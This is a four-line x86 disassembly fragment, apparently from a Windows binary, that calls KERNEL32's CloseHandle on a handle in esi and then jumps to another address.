mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call edi
jmp 0x4636a1